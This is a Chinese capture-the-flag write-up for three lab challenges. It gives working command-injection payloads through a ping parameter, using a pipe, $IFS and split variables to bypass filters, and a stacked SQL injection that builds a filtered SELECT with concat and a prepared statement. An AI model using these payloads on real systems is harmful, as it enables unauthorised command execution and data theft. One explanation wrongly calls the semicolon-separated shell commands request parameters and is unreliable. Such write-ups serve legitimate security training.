[ACTF2020 新生赛]Exec1
1.打开靶机
是一个ping命令
2.利用管道符“|”
ping一下本地主机并查看ls
ping 127.0.0.1 | ls
可以看到回显的内容是一个文件
127.0.0.1 | cat index.php #查看主机下index.php
127.0.0.1 | ls / #查看主机根目录下的文件
看的一个flag文件
127.0.0.1 | cat /flag #查看根目录下的flag文件
3.得到flag
[GXYCTF2019]Ping Ping Ping1
1.打开靶机
是ip请求
试着ping172.0.0.1,是通的
2.用管道符“|”
/?ip=127.0.0.1|ls #查看含有两个文件
3.被绕过
利用管道符查看flag.php,发现空格被绕过了
/?ip=127.0.0.1|cat flag.php
/?ip=127.0.0.1|cat$IFS$1flag.php #发现flag被绕过了
4.得到flag
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
/?ip=1
: 这部分通常表示对某个网站的请求,ip=1
可能是该请求的一部分参数,用于指定某种输入或状态。;a=ag;b=fl
: 这里通过分号(;
)分隔,意味着尝试传递多个参数。a
和b
可能代表不同的变量或参数名,而ag
和fl
是它们对应的值。cat$IFS$1$b$a.php
: 这是最关键的部分,其中cat
是Unix和类Unix系统中用于查看文件内容的命令。$IFS
是环境变量,代表输入字段分隔符(Input Field Separator),通常用于Shell脚本中分隔命令行参数。$1
,$b
,$a
这些看起来是尝试引用某些先前定义的变量或参数。.php
表明最终可能尝试访问或执行某个PHP文件。
[强网杯 2019]随便注1
1.打开靶机
2.判断字段
1' order by 1;#
1' order by 2;#
1' order by 3;#
3.过滤
select,update,delete,drop等被过滤
1';show tables;#
查询数据库中的表,得到两个表
4.查询
';show columns from words;#
查询words表的字段
';show columns from `1919810931114514`;#
查询1919810931114514表的字段
1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#
1'
: 这部分可能是为了打断原始 SQL 查询语句的语法结构。
;
: 分号用于分隔 SQL 语句。
set @a=concat("sel","ect flag from
1919810931114514");
: 这是一个 SQL 查询,利用concat()
函数拼接了一个字符串,构造了一个查询,意图是选择flag
列从一个名为1919810931114514
的表中。
prepare hello from @a;
: 这一步是利用动态 SQL,将前面构造的查询准备为一个预处理语句,以后执行。
execute hello;
: 这一步执行了前面准备的预处理语句。
5.得到flag
1';SET @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#
大小写绕过